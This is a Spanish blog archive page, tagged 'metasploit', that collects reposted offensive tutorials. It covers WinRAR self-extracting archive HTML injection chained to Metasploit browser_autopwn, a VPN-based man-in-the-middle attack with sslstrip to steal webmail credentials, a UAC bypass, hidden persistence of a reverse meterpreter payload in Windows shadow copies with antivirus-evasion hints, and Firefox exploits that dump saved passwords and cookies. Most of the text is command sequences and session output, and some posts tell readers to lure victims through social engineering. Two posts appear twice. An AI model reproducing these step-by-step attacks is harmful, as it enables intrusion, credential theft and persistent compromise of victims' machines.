Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas

miércoles, 21 de octubre de 2015

Cómo comprometer por completo la máquina de un usuario incauto que ejecute un WinRAR auto-extraíble

Hace unos días en Full Disclosure publicaban una vulnerabilidad de ejecución remota de código (RCE) en WinRar 5.21 y anteriores (confirmo 4.20 también). Concretamente, al crear un fichero autoextraíble con WinRAR (SFX), en la pestaña "Texto e icono" podemos incrustar código html y javascript que será procesado por el motor del navegador, Internet Explorer del sistema con compatibilidad IE7.

Reproducir la vulnerabilidad es muy sencillo. Seleccionamos uno o varios archivos y con el botón derecho pinchamos en "Añadir al archivo...". Luego en las opciones de compresión marcamos "Crear un archivo autoextraíble":



Luego pulsamos el botón "Avanzado" y en el cuadro del "Texto a mostrar en la ventana" de la pestaña "Texto e icono" añadimos el siguiente código:


<html><script type="text/javascript">alert('test');</script></html>



Al ejecutar el fichero autoextraíble veréis como se procesa el script:



A partir de aquí se nos abre un mundo de posibilidades. Empecemos por ejemplo insertando código para comprobar la versión y el agente de nuestro navegador:


<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://mybrowserinfo.com/detail.asp"></head></html>



Ahora viene lo mejor, vamos a comprometer por completo la máquina del usuario incauto que ejecute el WinRAR extraíble. ¿Cómo? La manera más rápida es mediante Metasploit y el modulo browser_autopwn, que nos carga automáticamente un montón de vulnerabilidades del navegador para obtener rápidamente una sesión meterpreter en el sistema vulnerable.

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set lhost 192.168.1.207
lhost =>
192.168.1.207
msf auxiliary(browser_autopwn) > set srvhost
192.168.1.207
srvhost =>
192.168.1.207
msf auxiliary(browser_autopwn) > set uripath /prueba
uripath => /prueba
msf auxiliary(browser_autopwn) > set srvport 6666
srvport => 6666

msf auxiliary(browser_autopwn) > exploit

[*] Auxiliary module execution completed

[*] Setup
msf auxiliary(browser_autopwn) >

[*] Starting exploit modules on host
192.168.1.207...
[*] ---


Ahora empezará a iniciar múltiples servidores. En mi caso hasta 20 exploits aglutinados en una única URL:

[*] --- Done, found 20 exploit modules

[*] Using URL: http://192.168.1.207:6666/prueba


Finalmente sólo tenemos que crear un fichero autoextraíble con código que llame a esa URL:


<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://192.168.1.207:6666/prueba"></head></html>

Y al ejecutarlo... ¡¡¡boom!!! obtenemos varias sesiones de meterpreter:

[*] Sending stage (47762 bytes) to 192.168.1.204
[*] Meterpreter session 2 opened (192.168.1.207:7777 -> 192.168.1.204:3109) at 2015-10-02 08:19:29 -0400
[*] Sending stage (47762 bytes) to 192.168.1.204
[*] Meterpreter session 3 opened (192.168.1.207:7777 -> 192.168.1.204:3110) at 2015-10-02 08:19:30 -0400
[*] Sending stage (47762 bytes) to 192.168.1.204
[-] Failed to load client script file: /usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
[*] Meterpreter session 4 opened (192.168.1.207:7777 -> 192.168.1.204:3111) at 2015-10-02 08:19:30 -0400



msf auxiliary(browser_autopwn) > sessions -l

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  1   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3108 (192.168.1.204)
  2   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3109 (192.168.1.204)
  3   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3110 (192.168.1.204)
  10  meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3117 (192.168.1.204)
  11  meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3118 (192.168.1.204)


msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrador
meterpreter > sysinfo
Computer    : PCVICTIMA
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java


meterpreter > screenshot /tmp/victim.bmp
Screenshot saved to: /root/fdKuoNkp.jpe




Como habéis podido comprobar, a partir de una vulnerabilidad RCE hemos comprometido totalmente un equipo. Lo cachondo es que la respuesta oficial de WinRAR es que no va a solucionar el bug esgrimiendo que el formato SFX es un archivo ejecutable y por lo tanto el usuario es responsable de ejecutarlo.
 

De los 500 millones de usuarios de WinRAR ¿cuántos pueden imaginar lo peligroso que puede llegar a ser un SFX? ¡Gracias WinRAR!

Fuente: http://www.hackplayers.com/2015/10/comprometer-un-PC-por-completo-mediante-winrar.html 

domingo, 5 de abril de 2015

MITM & SSL Strip con Meterpreter en remoto a través de VPN

 Hoy proponemos utilizar uno de los módulos de Borja Merino, que ha realizado para la comunidad Metasploit, y el cual nos permite montar una VPN entre la máquina atacante y víctima con el fin de que el tráfico de la máquina víctima pase por la del atacante consiguiendo un MITM. La idea es que la máquina del atacante pueda estar en otra red, en cualquier punto de Internet, y automáticamente el tráfico de la víctima, cuando quiera ir a Internet se envíe por el túnel VPN a nuestra máquina (atacante). Una vez el tráfico llegue a nuestra máquina la reenviaremos a Internet, pero de esta forma se puede visualizar el tráfico que se envía. Además, se puede utilizar la técnica SSL Strip con el fin de poder cambiar el protocolo HTTPS de la víctima por HTTP, y conseguir credenciales de Gmail, Outlook, etcétera. 
¿Qué necesitamos? Lo primero es instalar el servicio pptpd en nuestra máquina Kali. Para ello ejecutamos la sentencia apt-get install pptpd. Una vez instalado el servicio debemos tener en cuenta que el tráfico de la víctima pasará por nosotros, a través de un túnel VPN, por lo que necesitamos habilitar ip forwarding, como puede verse en la imagen. En el archivo pptpd.conf debemos habilitar el direccionamiento IP que se otorgará a los clientes, e indicar que dirección IP tendrá el host que hace VPN server, en este caso nosotros. 
Figura 1: Instalación y configuración del servicio
Además, debemos tener en cuenta que hay que configurar el usuario y la contraseña con la que se configura el servicio. Cuando el cliente quiera conectarse a la VPN deberá introducir el usuario pablo y la contraseña metasploit. Ahora que tenemos preparado el servicio, debemos configurar unas reglas en iptables para que todo quede configurado.

Se necesitan 3 reglas, las cuales tenemos en un fichero denominado reglas. La primera enmascara todo lo que sale por la interfaz de red "normal" de la máquina del atacante, en otras palabras realiza el cambio de dirección IP. La segunda regla hace un forward entre interfaces, todo lo que llega por la interfaz ppp0, la que conecta la VPN entre víctima y atacante, se reenvía a la interfaz de salida eth0 de la máquina del atacante. La tercera regla es la operación inversa de la segunda, todo lo llega desde Internet, con destino a la máquina víctima, se reenvía por ppp0. Básicamente esto es lo que está ocurriendo en iptables.
Figura 2: Configuración de reglas en iptables
El escenario es de post-explotación, es decir, necesitamos disponer de una sesión en una máquina remota para poder ejecutar esta técnica. Por esta razón, y como se puede ver en la imagen, necesitamos saber qué identificador de sesión disponemos en la máquina remota. En este caso, la sesión tiene id 1
Figura 3: Sesión de Meterpreter en una máquina remota
Una vez disponemos de la sesión en la máquina remota debemos ejecutar un background para no perder la sesión abierta. Con el comando use cargamos el módulo post/windows/manage/pptp_tunnel disponible en Metasploit. Si ejecutamos el comando show options podemos visualizar las diferentes opciones básicas que dispone el módulo. En este caso necesitamos configurar el usuario y contraseña y la dirección IP perteneciente a VPNHOST, que será nuestra dirección IP. 
Una vez configurado debemos ejecutar el comando run, y podemos visualizar como se establece la conexión desde la máquina vulnerada al servidor de VPN (nosotros). En este instante el MITM lo tenemos configurado, y el tráfico de la máquina remota pasará por nosotros. 
Figura 4: Configuración y ejecución del módulo post/windows/manage/pptp_tunnel
Si analizamos la máquina remota y las rutas configuradas (métricas) podemos observar que gracias a la ejecución del módulo se han añadido nuevas rutas con métricas bajas que salen por la interfaz de red que hemos configurado. Si nos fijamos en la interfaz 192.168.0.234, que corresponde con la interfaz de red de la VPN, sería la interfaz que la máquina vulnerada utilizará para salir a Internet. Gracias a esto se ha logrado el MITM en remoto. 
Figura 5: Rutas en la máquina remota
Si abrimos Wireshark en la máquina Kali (atacante) y configuramos el filtro HTTP, podemos ver que el tráfico de navegación de la máquina remota pasa por nosotros. En la captura que se muestra en la imagen podemos ver como el origen es la dirección IP 192.168.0.234 (máquina Windows remota) con destino Internet, en este caso el sitio web El Otro Lado, y se puede visualizar el usuario y contraseña introducido por la víctima.
Figura 6: Tráfico HTTP a través del MITM con la VPN
Como podemos ver, podríamos visualizar el tráfico HTTP, pero ¿Qué ocurre con el tráfico HTTPS? Fácilmente podemos acoplar la técnica SSL Strip en este caso, para ello debemos añadir una regla a iptables que es la siguiente iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000. El puerto 10000 puede ser sustituido por otro, en función de cómo configuremos el script de sslstrip. Ahora ejecutamos el comando sslstrip -w [fichero]
Figura 7: SSL Strip satisfactorio 

Tal y como puede visualizarse en la imagen, encontramos un usuario y contraseña en la máquina remota. El dominio es outlook, el cual en condiciones normales seríamos redirigidos a HTTPS, pero con esta técnica mantiene a la víctima en un contexto HTTP. Si la víctima no se da cuenta de este hecho, será víctima de un robo de identidad. Para aprender más sobre Metasploit y sus secretos os recomiendo el libro de Metasploit para Pentesters.

Fuente: http://www.flu-project.com/2014/12/mitm-ssl-strip-con-meterpreter-en.html

miércoles, 4 de marzo de 2015

MITM & SSL Strip con Meterpreter en remoto a través de VPN

Hoy proponemos utilizar uno de los módulos de Borja Merino, que ha realizado para la comunidad Metasploit, y el cual nos permite montar una VPN entre la máquina atacante y víctima con el fin de que el tráfico de la máquina víctima pase por la del atacante consiguiendo un MITM. La idea es que la máquina del atacante pueda estar en otra red, en cualquier punto de Internet, y automáticamente el tráfico de la víctima, cuando quiera ir a Internet se envíe por el túnel VPN a nuestra máquina (atacante). Una vez el tráfico llegue a nuestra máquina la reenviaremos a Internet, pero de esta forma se puede visualizar el tráfico que se envía. Además, se puede utilizar la técnica SSL Strip con el fin de poder cambiar el protocolo HTTPS de la víctima por HTTP, y conseguir credenciales de Gmail, Outlook, etcétera. 
¿Qué necesitamos? Lo primero es instalar el servicio pptpd en nuestra máquina Kali. Para ello ejecutamos la sentencia apt-get install pptpd. Una vez instalado el servicio debemos tener en cuenta que el tráfico de la víctima pasará por nosotros, a través de un túnel VPN, por lo que necesitamos habilitar ip forwarding, como puede verse en la imagen. En el archivo pptpd.conf debemos habilitar el direccionamiento IP que se otorgará a los clientes, e indicar que dirección IP tendrá el host que hace VPN server, en este caso nosotros. 
Figura 1: Instalación y configuración del servicio
Además, debemos tener en cuenta que hay que configurar el usuario y la contraseña con la que se configura el servicio. Cuando el cliente quiera conectarse a la VPN deberá introducir el usuario pablo y la contraseña metasploit. Ahora que tenemos preparado el servicio, debemos configurar unas reglas en iptables para que todo quede configurado.

Se necesitan 3 reglas, las cuales tenemos en un fichero denominado reglas. La primera enmascara todo lo que sale por la interfaz de red "normal" de la máquina del atacante, en otras palabras realiza el cambio de dirección IP. La segunda regla hace un forward entre interfaces, todo lo que llega por la interfaz ppp0, la que conecta la VPN entre víctima y atacante, se reenvía a la interfaz de salida eth0 de la máquina del atacante. La tercera regla es la operación inversa de la segunda, todo lo llega desde Internet, con destino a la máquina víctima, se reenvía por ppp0. Básicamente esto es lo que está ocurriendo en iptables.
Figura 2: Configuración de reglas en iptables
El escenario es de post-explotación, es decir, necesitamos disponer de una sesión en una máquina remota para poder ejecutar esta técnica. Por esta razón, y como se puede ver en la imagen, necesitamos saber qué identificador de sesión disponemos en la máquina remota. En este caso, la sesión tiene id 1
Figura 3: Sesión de Meterpreter en una máquina remota
Una vez disponemos de la sesión en la máquina remota debemos ejecutar un background para no perder la sesión abierta. Con el comando use cargamos el módulo post/windows/manage/pptp_tunnel disponible en Metasploit. Si ejecutamos el comando show options podemos visualizar las diferentes opciones básicas que dispone el módulo. En este caso necesitamos configurar el usuario y contraseña y la dirección IP perteneciente a VPNHOST, que será nuestra dirección IP. 
Una vez configurado debemos ejecutar el comando run, y podemos visualizar como se establece la conexión desde la máquina vulnerada al servidor de VPN (nosotros). En este instante el MITM lo tenemos configurado, y el tráfico de la máquina remota pasará por nosotros. 
Figura 4: Configuración y ejecución del módulo post/windows/manage/pptp_tunnel
Si analizamos la máquina remota y las rutas configuradas (métricas) podemos observar que gracias a la ejecución del módulo se han añadido nuevas rutas con métricas bajas que salen por la interfaz de red que hemos configurado. Si nos fijamos en la interfaz 192.168.0.234, que corresponde con la interfaz de red de la VPN, sería la interfaz que la máquina vulnerada utilizará para salir a Internet. Gracias a esto se ha logrado el MITM en remoto. 
Figura 5: Rutas en la máquina remota
Si abrimos Wireshark en la máquina Kali (atacante) y configuramos el filtro HTTP, podemos ver que el tráfico de navegación de la máquina remota pasa por nosotros. En la captura que se muestra en la imagen podemos ver como el origen es la dirección IP 192.168.0.234 (máquina Windows remota) con destino Internet, en este caso el sitio web El Otro Lado, y se puede visualizar el usuario y contraseña introducido por la víctima.
Figura 6: Tráfico HTTP a través del MITM con la VPN
Como podemos ver, podríamos visualizar el tráfico HTTP, pero ¿Qué ocurre con el tráfico HTTPS? Fácilmente podemos acoplar la técnica SSL Strip en este caso, para ello debemos añadir una regla a iptables que es la siguiente iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000. El puerto 10000 puede ser sustituido por otro, en función de cómo configuremos el script de sslstrip. Ahora ejecutamos el comando sslstrip -w [fichero]
Figura 7: SSL Strip satisfactorio 
Tal y como puede visualizarse en la imagen, encontramos un usuario y contraseña en la máquina remota. El dominio es outlook, el cual en condiciones normales seríamos redirigidos a HTTPS, pero con esta técnica mantiene a la víctima en un contexto HTTP. Si la víctima no se da cuenta de este hecho, será víctima de un robo de identidad. Para aprender más sobre Metasploit y sus secretos os recomiendo el libro de Metasploit para Pentesters.
 
Fuente: http://www.flu-project.com/2014/12/mitm-ssl-strip-con-meterpreter-en.html

Bypass UAC x64 con Metasploit y paciencia ninja!

Durante el desarrollo de la Navaja Negra de 2014 desvirtualicé a Ignacio Sorribas, el cual es un crack profesionalmente y como persona. Me comentó una forma con la que conseguía saltarse el UAC y elevar privilegios en sistemas operativos Windows de 64 bits, y tras probarlo en Windows 7 y 8 me gustó la idea. Yo pensaba que el módulo de bypassuac que trae Metasploit valdría, pero ciertamente no, en algunos entornos hay que moverse un poco más para conseguir elevar los privilegios. 
¿Cuál es el punto de partida? Comenzamos ya con una sesión abierta en Metasploit, con un Meterpreter. En la imagen podemos ver que somos el usuario pablo, ejecutando una sesión sobre una máquina Microsoft Windows 7 de 64 bits
Figura 1: Usuario sin privilegios
Es importante tener algunos comandos claros con Meterpreter, ya que este payload está en continuo crecimiento en lo que a funcionalidades se refiere. Necesitamos subir un binario que se encuentra en la ruta data/post, dónde Metasploit se encuentre instalado. En la imagen podemos visualizar que realizamos la subida del binario a través del comando upload, y lo dejamos en el escritorio del usuario. El nombre del fichero a subir es bypassuac-x64.exe
Figura 2: Subida de fichero bypassuac-x64.exe
Una vez subimos el fichero al equipo de la víctima, debemos recapitular y ver cual es la estrategia. La estrategia para lograr una elevación de privilegio es subir un fichero que nos permita bypassear el UAC. Este punto ya lo tenemos, pero ¿Cómo conseguimos que dicho exploit local devuelva el control en remoto? Es fácil, debemos generar un binario que dentro disponga de un Meterpreter inverso, el cual al ejecutarlo nos devuelva la conexión. Este fichero también deberemos subirlo mediante la ejecución del comando upload
¿Cómo generamos el binario con el Meterpreter inverso dentro? Es fácil, cargamos el módulo payload/windows/meterpreter/reverse_tcp y lo configuramos con la dirección IP a la que el binario debe devolver el control. Una vez hecho esto, utilizamos el comando generate para generar el fichero, tal y como puede verse en la imagen.
Figura 3: Generar binario con Meterpreter
Ahora que tenemos los dos binarios en la máquina remota, vamos a ejecutar a través de la shell de Meterpreter el binario bypassuac-x64.exe. Para ejecutar este binario, como puede verse en la imagen, debemos indicar que comando queremos lanzar con elevación. Tras la ejecución del fichero obtenemos una shell con privilegio de System, por lo que podemos ejecutar desde esa shell el binario que hemos subido, en este caso se denomina post.exe, y obtener el control remoto. Hay que tener en cuenta que antes de ejecutar post.exe, debemos configurar el handler para recibir la conexión.
Figura 4: Ejecución de bypassuac-x64.exe
Antes de lanzar el binario post.exe debemos configurar el handler, por lo que debemos cargar el módulo exploit/multi/handler, y configurar el atributo PAYLOAD, en este caso con el valor windows/meterpreter/reverse_tcp. En la siguiente imagen se puede ver como debemos configurar el módulo. Es importante resaltar la ejecución de exploit -j.

Figura 5: Configuración de exploit/multi/handler
Una vez se ejecuta el fichero post.exe se recibe la nueva sesión, la que tiene privilegios de System. Para interactuar con la nueva sesión debemos ejecutar sessiones -i [identificador de la sesión], tal y como puede verse en la imagen. Una vez dentro de la sesión, debemos ejecutar el comando de Meterpreter getsystem, con el que conseguir el uid deseado.

Figura 6: Obtención del privilegio
Tal y como podemos ver, en algunas ocasiones necesitamos ejecutar otras vías para conseguir una sesión con privilegio, y aunque pueda parecer tedioso, no hay más que tener paciencia. Para aprender más sobre Metasploit y sus secretos os recomiendo el libro de Metasploit para Pentesters.

Fuente:  http://www.flu-project.com/2014/12/bypass-uac-x64-con-metasploit-y.html

lunes, 16 de febrero de 2015

Ocultar payloads persistentes en volúmenes 'shadow copy' de Windows


En Windows el servicio Volume Shadow Copy (VSS) crea copias de seguridad (snapshots) cada vez que hay un cambio en el sistema para poder tener disponible y actualizado un punto de restauración. Esta información de backup se almacena en volúmenes "ocultos" cuyas peculiaridades pueden ser aprovechadas con fines maliciosos, como por ejemplo ocultar artefactos de malware...

Recientemente se ha desarrollado un módulo de Metasploit para crear un payload persistente en un VSS en Windows 7. Se basa en el script VSSOwn de Tim Tomes y Mark Baggett y lo que hace es subir un ejecutable, crear un backup (VSS), borrarlo y ejecutar  \?\GLOBALROOT\/HarddiskVolumeShadowCopy\d{1,3}/%TEMP%\executable
La persistencia se consigue mediante una tarea programada (SCHTASK) o en una clave AUTORUN.

De momento para utilizarlo lo podemos descargar de Github:
root@kali:~# wget https://raw.github.com/MrXors/metasploit-framework/f345414832fe0895e6ed89e70eb57f72a103aeaf/modules/exploits/windows/local/vss_persistence.rb
root@kali:~# mv vss_persistence.rb /usr/share/metasploit-framework/modules/post/windows/manage/

Para probar generaremos un payload de prueba:
root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.128 LPORT=80 X > payload_prueba.exe

A continuación ejecutaremos la consola de Metasploit y recargaremos los módulos:
root@kali:~/# msfconsole -L
msf > reload_all
[*] Reloading modules from all module paths...
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            http://metasploit.pro


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.7.1-2013100901 [core:4.7 api:1.0]
+ -- --=[ 1207 exploits - 728 auxiliary - 202 post
+ -- --=[ 314 payloads - 30 encoders - 8 nops

Lo siguiente será obtener una sesión meterpreter. Hay que tener en cuenta que nuestro nuevo módulo es de post-explotación y que necesitamos que el usuario de la sesión tenga privilegios administrativos. En caso contrario tendremos que hacer uso de otro módulo para la escalación de privilegios local.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set LHOST 192.168.177.128
LHOST => 192.168.177.128
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.177.128:80 
[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to 192.168.177.1
[*] Meterpreter session 1 opened (192.168.177.128:80 -> 192.168.177.1:4222) at 2013-10-16 06:07:56 -0100

meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > sysinfo
Computer        : PC102-23DRW
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : es_ES
Meterpreter     : x86/win32

Ahora dejaremos en background la sesión para finalmente ejecutar el exploit:
meterpreter > background 
[*] Backgrounding session 1...


msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  2   meterpreter x86/win32  PANDORA\vmotos @ PC102-23DRW  192.168.177.128:80 -> 192.168.177.1:5350 (192.168.177.1)
  
msf exploit(handler) > use post/windows/manage/vss_persistence 

msf exploit(vss_persistence) > show options

Module options (exploit/windows/manage/vss_persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    1                yes       Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
   EXECUTE  true             yes       Run the EXE on the remote system.
   RPATH                     no        Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
   RUNKEY   false            yes       Create AutoRun Key for the EXE
   SCHTASK  false            yes       Create a Scheduled Task for the EXE.
   SESSION                   yes       The session to run this module on.
   VOLUME   C:\              yes       Volume to make a copy of.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7

msf exploit(vss_persistence) > set SCHTASK true
SCHTASK => true

msf exploit(vss_persistence) > set session 1
session => 1

msf exploit(vss_persistence) > exploit

[*] Started reverse handler on 192.168.177.128:4444 
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost69.exe...
[*] Sending stage (770052 bytes) to 192.168.177.128
[*] Creating Scheduled Task...
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:4917) at 2013-10-16 06:15:32 -0100

Y ya lo tenemos.

pd. Si habéis seguido estos pasos ya os habréis dado cuenta: en el momento de su ejecución el motor de análisis en tiempo real del AV detectará el payload. Para evitarlo se podría montar el volumen oculto (VSC) como si fuera una unidad de red o seguir otras técnicas. Además necesitarás desactivar/evadir UAC...
 
Fuente: http://www.hackplayers.com/2013/10/ocultar-payloads-persistentes-en-vss.html

lunes, 26 de enero de 2015

Hack Remote Windows, Linux or MAC PC using Firefox WebIDL Privileged Javascript Injection

This exploit gains remote code execution on Firefox 22-27 by abusing two separate privilege escalation vulnerabilities in Firefox’s Javascript APIs

Exploit Targets

Firefox 22-27
Windows XP SP 3
Windows 7
Linux
OSX

Requirement

Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
Now type use exploit/multi/browser/firefox_webidl_injection
msf exploit (firefox_webidl_injection)>set payload firefox/shell_reverse_tcp
msf exploit (firefox_webidl_injection)>set lhost 192.168.0.5 (IP of Local Host)
msf exploit (firefox_webidl_injection)>set srvhost 192.168.0.5
msf exploit (firefox_webidl_injection)>set uripath /
msf exploit (firefox_webidl_injection)>exploit 

Now an URL you should give to your victim http://192.168.0.5:8080
Send the link of the server to the victim via chat or email or any social engineering technique
Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID

Fuente: http://www.hackingarticles.in/hack-remote-windows-linux-or-mac-pc-using-firefox-webidl-privileged-javascript-injection/

Hack Save Password in Mozilla Firefox in Remote Windows, Linux or MAC PC

Open Kali terminal type msfconsole

Now type use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf exploit (firefox_xpi_bootstrapped_addon)>set payload firefox/shell_reverse_tcp
msf exploit (firefox_xpi_bootstrapped_addon)>set lhost 192.168.1.9 (IP of Local Host)
msf exploit (firefox_xpi_bootstrapped_addon)>set uripath /
msf exploit (firefox_xpi_bootstrapped_addon)>exploit  
Now an URL you should give to your victim http://192.168.1.9:8080/
Send the link of the server to the victim via chat or email or any social engineering technique. Now you have access to the victims PC
Once we have the shell, we simply run the post module to dump the credentials to a file
Now type use post/firefox/gather/passwords
msf exploit (passwords) set payload firefox/shell_reverse_tcp
msf exploit (passwords)>set lhost 192.168.1.9 (IP of Local Host)
msf exploit (passwords)>set session 1
msf exploit (passwords)>exploit  
Result will stored on your local computer
/root/.msf4/loot/

A look at the result, you will see data like


Fuente:http://www.hackingarticles.in/hack-save-password-in-mozilla-firefox-in-remote-windows-linux-or-mac-pc/

Gather Cookies and History of Mozilla Firefox in Remote Windows, Linux or MAC PC

Open Kali terminal type msfconsole

Now type use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf exploit (firefox_xpi_bootstrapped_addon)>set payload firefox/shell_reverse_tcp
msf exploit (firefox_xpi_bootstrapped_addon)>set lhost 192.168.1.9 (IP of Local Host)
msf exploit (firefox_xpi_bootstrapped_addon)>set uripath /
msf exploit (firefox_xpi_bootstrapped_addon)>exploit  
Now an URL you should give to your victim http://192.168.1.9:8080/
Send the link of the server to the victim via chat or email or any social engineering technique. Now you have access to the victims PC
Once we have the shell, we simply run the post module to dump the credentials to a file
How to Gather History
Now type use post/firefox/gather/history
msf exploit (history) set payload firefox/shell_reverse_tcp
msf exploit (history)>set lhost 192.168.1.9 (IP of Local Host)
msf exploit (history)>set session 1
msf exploit (history)>exploit
Result will stored on your local computer
/root/.msf4/loot/
A look at the result, you will see data like

How to Gather Cookies
Once we have the shell, we simply run the post module to dump the credentials to a file
Now type use post/firefox/gather/cookies
msf exploit (cookies) set payload firefox/shell_reverse_tcp
msf exploit (cookies)>set lhost 192.168.1.9 (IP of Local Host)
msf exploit (cookies)>set session 1
msf exploit (cookies)>exploit

Result will stored on your local computer
/root/.msf4/loot/


Fuente: http://www.hackingarticles.in/gather-cookies-and-history-of-mozilla-firefox-in-remote-windows-linux-or-mac-pc/

Hack Save Password in Mozilla Firefox in Remote Windows, Linux or MAC PC

Open Kali terminal type msfconsole

Now type use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf exploit (firefox_xpi_bootstrapped_addon)>set payload firefox/shell_reverse_tcp
msf exploit (firefox_xpi_bootstrapped_addon)>set lhost 192.168.1.9 (IP of Local Host)
msf exploit (firefox_xpi_bootstrapped_addon)>set uripath /
msf exploit (firefox_xpi_bootstrapped_addon)>exploit  
Now an URL you should give to your victim http://192.168.1.9:8080/
Send the link of the server to the victim via chat or email or any social engineering technique. Now you have access to the victims PC
Once we have the shell, we simply run the post module to dump the credentials to a file
Now type use post/firefox/gather/passwords
msf exploit (passwords) set payload firefox/shell_reverse_tcp
msf exploit (passwords)>set lhost 192.168.1.9 (IP of Local Host)
msf exploit (passwords)>set session 1
msf exploit (passwords)>exploit  
Result will stored on your local computer
/root/.msf4/loot/

A look at the result, you will see data like


Fuente:http://www.hackingarticles.in/hack-save-password-in-mozilla-firefox-in-remote-windows-linux-or-mac-pc/

XSSF Cross-Site Scripting Framework in Metasploit (Part 1)

The Cross-Site Scripting Framework (XSSF) is a security tool designed to turn the XSS vulnerability exploitation task into a much easier work. The XSSF project aims to demonstrate the real dangers of XSS vulnerabilities, vulgarizing their exploitation. This project is created solely for education, penetration testing and lawful research purposes.
XSSF allows creating a communication channel with the targeted browser (from a XSS vulnerability) in order to perform further attacks. Users are free to select existing modules (a module = an attack) in order to target specific browsers.
XSSF provides a powerful documented API, which facilitates development of modules and attacks. In addition, its integration into the Metasploit Framework allows users to launch MSF browser based exploit easily from XSS vulnerability.
In addition, an interesting though exploiting an XSS inside a victim’s browser could be to browse website on attacker’s browser, using the connected victim’s session. In most of cases, simply stealing the victim cookie will be sufficient to realize this action. But in minority of cases (intranets, network tools portals, etc.), cookie won’t be useful for an external attacker. That’s why XSSF Tunnel was created to help the attacker to help the attacker browsing on affected domain using the victim’s session.
Open your kali Linux terminal and type cd /opt/metasploit/apps/pro/msf3
In msf3 install xssf using following command
Svn export http://xssf.googlecode.com/svn/trunk ./ –force now xssf is successfully install in your metasploit

Load XSSF plugin using the command ‘load xssf’

Type help xssf to find all xssf commands

Now use xssf_urls command to get all list of all available URL

Send the link of the server to the victim via chat or email or any social engineering technique.

We can see information related to any of the victims using the command xssf_information


Fuente:http://www.hackingarticles.in/xssf-cross-site-scripting-framework-in-metasploit/